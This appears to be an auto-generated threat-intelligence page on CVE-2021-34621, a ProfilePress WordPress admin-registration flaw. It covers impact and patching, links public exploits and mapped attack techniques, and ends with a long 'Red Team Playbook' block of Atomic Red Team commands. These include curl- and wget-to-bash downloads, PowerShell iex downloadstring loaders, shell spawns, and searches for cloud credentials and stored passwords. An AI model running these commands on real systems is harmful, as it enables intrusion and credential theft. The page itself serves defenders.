CVE-2021-34621
Overview
The vulnerability is an authentication bypass that originates from improper access control in the user registration component of the ProfilePress WordPress plugin. Specifically, the flaw exists in the RegistrationAuth.php file where user role assignment during registration is not properly validated. This allows unauthorized users to escalate privileges by registering accounts with administrator-level permissions.
Vulnerability Description
A vulnerability in the user registration component found in the ~/src/Classes/RegistrationAuth.php file of the ProfilePress WordPress plugin made it possible for users to register on sites as an administrator. This issue affects versions 3.0.0 - 3.1.3. .
Impact
An attacker with network access can register a new user account and assign themselves administrator privileges without any authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This allows full control over the affected WordPress site, including modification of content, user management, and potential deployment of further malicious code, resulting in complete site compromise and data breach.
Solution
Users should upgrade ProfilePress to version 3.1.4 or later, where the privilege escalation flaw in the registration component has been patched. Detailed patch instructions and advisories are available from Wordfence at https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/. Applying this update removes the improper role assignment vulnerability and restores proper access control during user registration.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the user registration component of the ProfilePress WordPress plugin presents a critical security flaw that allows unauthorized users to register as administrators on affected sites. This issue arises from improper validation of user input during the registration process, specifically in the RegistrationAuth.php file. The flaw enables attackers to bypass standard registration controls, leading to elevated privileges without the need for legitimate credentials. This type of vulnerability is particularly concerning as it directly undermines the integrity of user authentication mechanisms, which are fundamental to maintaining secure access controls in web applications.
Attack vectors for this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker could exploit the flaw by crafting a malicious registration request that manipulates the input fields to gain administrative access. This could be done using automated scripts or even manually through a web browser. Once an attacker successfully registers as an administrator, they gain full control over the WordPress site, allowing them to modify content, install malicious plugins, or exfiltrate sensitive user data. The ease of exploitation combined with the high potential for damage makes this vulnerability particularly dangerous for any site using the affected versions of the ProfilePress plugin.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on their WordPress sites for customer engagement and transactions. An attacker with administrative privileges could compromise the entire website, leading to data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Additionally, the financial implications of remediation efforts, including incident response, public relations damage control, and potential fines, can be significant. For organizations that handle sensitive information, the risk is magnified, as the exposure of personal data can lead to identity theft and further exploitation.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the ProfilePress plugin to the latest version is critical, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help detect and block malicious registration attempts before they reach the server. Monitoring user registration logs for unusual patterns, such as a high volume of registrations from a single IP address or registrations with admin-level privileges, can also provide early warning signs of exploitation. Furthermore, implementing strong access controls and requiring email verification for new user registrations can add an additional layer of security, reducing the likelihood of unauthorized access.
In conclusion, the vulnerability in the ProfilePress WordPress plugin highlights the importance of robust security practices in web application development and management. Organizations must remain vigilant in their security posture, ensuring that they not only keep their software updated but also actively monitor and respond to potential threats. By understanding the technical details, potential attack vectors, and real-world impacts of such vulnerabilities, businesses can better prepare themselves to defend against the evolving landscape of cyber threats.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2021-34621, indicating renewed adversary interest in exploiting this critical privilege escalation vulnerability within the ProfilePress WordPress plugin. Although the EPSS score has decreased, reflecting a modest reduction in the overall likelihood of exploitation, the emergence of new proof-of-concept exploits publicly available on multiple platforms underscores persistent attacker capability and intent. This divergence between telemetry trends and EPSS scoring suggests that while broad exploitation campaigns may have tempered, targeted or opportunistic attacks remain a credible threat. For defenders, this evolving landscape necessitates sustained vigilance, as the availability of functional exploits lowers the barrier for malicious actors to achieve unauthorized administrative access. Consequently, the threat level remains elevated, with a nuanced shift from widespread exploitation toward selective targeting, reinforcing the criticality of monitoring for exploitation attempts and maintaining robust detection mechanisms.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Properfraction | Profilepress | All |
cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| WordPress Plugin ProfilePress 3.1.3 - Privilege Escalation (Unauthenticated) | Numan Rajkotiya | webapps | php | - | View |
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
navreet1425/CVE-2021-34621
|
navreet1425 | 6 | 2 | 2023-09-30 | View |
|
K3ysTr0K3R/CVE-2021-34621-EXPLOIT
A PoC exploit for CVE-2021-34621 - WordPress Privilege Escalation
|
K3ysTr0K3R | 1 | 0 | 2023-08-12 | View |
|
RandomRobbieBF/CVE-2021-34621
ProfilePress 3.0 - 3.1.3 - Unauthenticated Privilege Escalation
|
RandomRobbieBF | 0 | 1 | 2023-08-09 | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-34621 |
| wordfence.com |
GitHub CVE
x_refsource_MISC
|
https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/ |
| packetstormsecurity.com |
GitHub CVE
x_refsource_MISC
|
http://packetstormsecurity.com/files/163973/WordPress-ProfilePress-3.1.3-Privilege-Escalation.html |